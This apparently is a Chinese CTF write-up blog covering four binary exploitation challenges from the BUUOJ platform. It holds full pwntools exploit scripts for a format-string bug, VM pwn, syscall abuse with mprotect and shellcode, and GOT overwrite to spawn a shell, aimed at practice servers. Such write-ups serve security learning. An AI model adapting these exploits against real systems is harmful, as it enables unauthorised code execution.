0%

buuoj

临近国赛,回头做了一些常见题,顺便把以前做过的题目也整理了一下。

[FireshellCTF2020]Firehttpd

第一次接触模拟 web 服务器的题目,挺有意思的。

特点

题目提供了 web 服务器的 ELF。服务器在一个循环中 acceptrecv 客户端的输入,因此该服务器不能并发。

服务器只能处理 GET 方法,将其后的文件输出。同时 “..” 被过滤,不能访问 www 目录外的文件。

服务器还能识别 Referer 字段。在处理过程中有格式化字符串漏洞。

漏洞

64 位格式化字符串漏洞

  1. 因为 64 位地址几乎必包含 0 字节,所以布置的地址必须位于格式化字符串的末端,并且一次 printf 只能修改一个布置的地址处的值。
  2. 题目用 sprintf 将格式化后的字符串储存在栈上。可以利用 %1024c 造成栈溢出。(但这题没有用到)
  3. 当想赋的字节会变化时,由于一字节值的范围为 0~255 ,在其后布置的地址的地址(好绕口)也会变化。可以加上 0x100,这样 %nc 中的 n 在格式化字符串中就固定占三个字节了。

保护

除了 fortify 全开

利用

覆盖栈上的变量——地址计算

错误的选择:利用变量与栈所在页的偏移计算出栈所在页的地址,然后再利用偏移计算另一个栈上变量的地址。

错误原因:不仅栈所在页的地址是随机的,栈的基址也是随机的。

正解:直接利用变量与变量之间的偏移计算地址。

相近地址

path 指针指向的字符串与 Referer 字符串均在栈上,且地址相近(只有低二字节不同)。我们可以调整最低字节,用格式化字符串漏洞修改第二低字节,使 path 指向我们布置的字符串。

其它

寻找 libc 与 ld

题目使用的是 libc-2.29。在找对应 ld 时顺便解决了下面两个 libc 相关问题(大概吧):

  1. 题目不给 libc

    首选 LibcSearcher。另外还有三个在线网页:

    1. libc_rip:github 上 libc-database 的官方 API。
    2. libc_nullbyte:搜索更多架构(amd64, i386, arm, arm64, mips, mips64, ppc, ppc64, x32 and s390)。但我试了一个 aarch64 的,没有找到。
    3. libc_blukat:看起来和 libc_rip 没什么区别。
  2. 题目给 libc 不给 ld

    首先在上面三个网页上找到 libc 的名字。如:libc6_2.29-0ubuntu2_amd64

    然后在 glibc-all-in-one 的 list 和 old list 中找有没有对应的 libc

    最后用 glibc-all-in-one 的 download 脚本下载整个 lib(其中包含 ld)

glibc symbol versioning

了解了一下 glibc 如何处理向后兼容,弄懂了 puts@@GLIBC_2.2.5 后面的一串是什么东西。

介绍文章:How the GNU C Library handles backward compatibility 简洁明了

邮件:ELF symbol versioning with glibc 2.1 and later 详细原理

__ctype_b_loc

用来获得字符的属性。

提问:__ctype_b_loc what is its purpose?

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

#io = remote("localhost", 1337)
io = remote("node3.buuoj.cn", 27031)

# 泄漏栈上变量的地址
io.sendline("GET /index.html asgewtewfsfasfsafqr\nReferer: %p \n")
io.recvuntil("Referer: ")
sprintf_dst_addr = int(io.recvuntil(' ', drop=True), 16)
print("sprintf_dst_addr = " + hex(sprintf_dst_addr))

io.close()

#io = remote("localhost", 1337)
io = remote("node3.buuoj.cn", 27031)

# 计算布置的flag字符串的地址和path指针的地址
path_addr = sprintf_dst_addr - 0x30
print("path_addr = " + hex(path_addr))
flag_path_addr = sprintf_dst_addr + 0xe0
flag_path_offset_1 = (flag_path_addr >> 8) & 0xff
flag_path_fmt_offset = 0x100 - 12 + flag_path_offset_1
print("flag_path_fmt_offset = " + hex(flag_path_fmt_offset))

# 覆盖path指针的第二个字节,使其指向flag字符串
payload2 = b"GET /index.html\nReferer: " + b'b' * 3
payload2 += b'%' + str(flag_path_fmt_offset).encode('utf-8') + b"c%14$hhn" + p64(path_addr + 1)
payload2 += b'c' * 0xc0 + b"/home/ctf/flag\x00" + b'\n'
print("payload2 len = " + str(len(payload2)))
io.sendline(payload2)

io.interactive()

wdb_2020_1st_boom2

分类

vm pwn

知识点

argc和argv在栈上

其它

没有用到全部的功能。
逆向量其实不大,但感觉搞了好久。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

libc = ELF("./libc-2.27_64.so")
io = process("./wdb_2020_1st_boom2")
#io = remote("node3.buuoj.cn", 26432)

swap = p64(12)
add_tmp = p64(25)
sub_tmp = p64(26)
set_stack = p64(13)
set_derefed_stack = p64(11)
tmp_deref = p64(9)

def set_tmp(val):
return p64(1) + p64(val)

one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c]
payload = swap + set_tmp(0xe8) + sub_tmp + set_stack + tmp_deref + set_stack + set_tmp(one_gadgets[0] - (231 + libc.symbols["__libc_start_main"])) + add_tmp + set_derefed_stack
io.sendafter("MC execution system\nInput your code> ", payload)

io.interactive()

zer0pts_2020_syscall_kit

特点

从这题了解各种神奇的 syscall,以及 C++ 的虚表基础
利用方法有些 tricky

分析

程序允许执行最多10次syscall,并且能设置前三个参数
但一些系统调用被禁用:open, openat, read, write, sendfile, execve, execveat, ptrace, fork, vfork, clone

利用

我们仍然可以用其它的系统调用达成以下效果:

  1. 泄漏heap基地址(brk)
  2. 泄漏PIE基地址(writev)
  3. 使heap所占page权限变为rwx(mprotect)
  4. 往heap上写shellcode(readv)
    5, 使虚表所在page权限变为rw(readv)
  5. 修改Emulator对象的虚表为shellocde地址

细节

C++ 对象

程序创建了一个Emulator对象在堆上
其中writev和readv的参数需要用到Emulator的特殊布局:
vtable | rax
rdi | rsi
rdx | (topchunk_size)

writev、readv

1
2
3
4
5
6
7
8
// writev和readv的函数原型(系统调用也是如此):
ssize_t readv(int fd, const struct iovec *iov, int iovcnt);
ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
// struct iovec的结构为:
struct iovec {
void *iov_base; /* Starting address */
size_t iov_len; /* Number of bytes to transfer */
};

当 rsi 设置为指向 vtable 的地址时,rax 为长度,可以泄漏和覆盖 vtable 中函数地址
但 vtable 所在 page 只读,所以要先 mprotect。
当 rsi 设置为指向 rsi 的地址时,rdx为长度,可以在堆上写 shellcode。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context.os = "linux"
context.arch = "amd64"
#io = process("./zer0pts_2020_syscall_kit")
io = remote("node3.buuoj.cn", 29158)

def syscall(nr, arg1, arg2=0, arg3=0):
io.sendlineafter("syscall: ", str(nr))
io.sendlineafter("arg1: ", str(arg1))
io.sendlineafter("arg2: ", str(arg2))
io.sendlineafter("arg3: ", str(arg3))

brk = 12
syscall(brk, 0)
io.recvuntil("retval: ")
heap_addr = int(io.recvuntil('\n', drop=True), 16) - 0x21000
print("heap_addr = " + hex(heap_addr))

writev = 20
victim_addr = heap_addr + 0x250 + 0x11c10 + 0x10
syscall(writev, 1, victim_addr, 1)
io.recvuntil("=========================\n")
pie_addr = u64(io.recv(8)) - 0x1114
print("pie_addr = " + hex(pie_addr))

mprotect = 10
vtable_page = pie_addr + 0x202000
length = 0x1000
syscall(mprotect, vtable_page, length, 7)

mprotect = 10
length = 0x21000
syscall(mprotect, heap_addr, length, 7)

readv = 19
heap_victim_addr = victim_addr + 0x18
syscall(readv, 0, heap_victim_addr, 0x100)

sleep(0.2)
shellcode = asm(shellcraft.sh())
payload = b"a" * 0x18 + shellcode
io.send(payload)

readv = 19
syscall(readv, 0, victim_addr, 1)

sleep(0.2)
shellcode_addr = heap_victim_addr + 0x18
io.send(p64(shellcode_addr))

io.interactive()

bbctf_2020_look_beyond

很有意思的一题

保护

没开 PIE 和 Full RELRO

特点

  1. 任意大小 malloc 一次
  2. 执行完 main 函数后如果能再次执行,可以获得 libc 地址

漏洞

  1. malloc 的地址的任意偏移处字节改为 0x01
  2. 任意地址写八字节

利用

  1. malloc 0x60000,使 chunk 用 mmap 分配。
  2. 利用偏移写,修改 canary 以触发 _stack_check_fail
  3. 利用任意地址写,修改.got.plt中的 _stack_check_fail 为 main 函数地址
  4. 获得 libc 地址后,修改 .got.plt 中的 strtoulsystem 地址

然而本地的 ld 和远程的版本不同,canary 地址的偏移也不同,因此需要爆破 canary 的地址。

爆破 canary 地址

通过输出判断是否继续爆破(canary 在 ld 中,虽然 ld 版本不同,但偏移相差很少)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 爆破远程canary(canary在ld中,虽然ld版本不同,但偏移相差很少)
# 只花了较短时间爆破
i = 509
while True:
io = remote("node3.buuoj.cn", 26664)
io.sendlineafter("size: ", str(size))
idx = 0x61500 - 0x10 + 8 * i
io.sendlineafter("idx: ", str(idx))
io.sendafter("where: ", str(stack_chk_fail_got))
sleep(0.2)
io.send(p64(main_addr))
if io.recvall() == b'6295576': # 根据爆破输出判断爆破是否成功
print("i = " + str(i))
i += 1
io.close()
else:
io.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *

#io = process("./bbctf_2020_look_beyond")
libc = ELF("./libc-2.27_64.so")
# 有输出的爆破值
'''
486
493
'''
stack_chk_fail_got = 0x601018
dl_runtime_resovle_got = 0x601010
main_addr = 0x4007D6
size = 0x60000

brute_force_result = 509
io = remote("node3.buuoj.cn", 26664)

size = 0x60000
io.sendlineafter("size: ", str(size))
#idx = 0x625a8 - 0x10 # 本地idx
# 修改canary
idx = 0x61500 - 0x10 + 8 * brute_force_result
io.sendlineafter("idx: ", str(idx))
# 修改__stack_check_fail为main函数地址
io.sendafter("where: ", str(stack_chk_fail_got))
sleep(0.2)
io.send(p64(main_addr))

# 重回main函数后,puts地址被输出
io.recvuntil("puts: 0x")
libc.address = int(io.recvuntil('\n', drop=True), 16) - libc.symbols["puts"]
print("libc.address = " + hex(libc.address))

'''
324293 324386 1090444
'''
one_gadgets = [324293, 324386, 1090444]

idx = idx + size + 0x1000 + 1
size = size - 0x10
# 再次修改canary从而调用_stack_check_fail
io.sendlineafter("size: ", str(size))
io.sendlineafter("idx: ", str(idx))
strtoul_got = 0x601048
io.sendafter("where: ", str(strtoul_got))
# 修改strtoul地址为system地址
system_addr = libc.symbols["system"]
sleep(0.2)
io.send(p64(system_addr))

# 回到main函数后,system("/bin/sh")
io.sendlineafter("size: ", "/bin/sh")

io.interactive()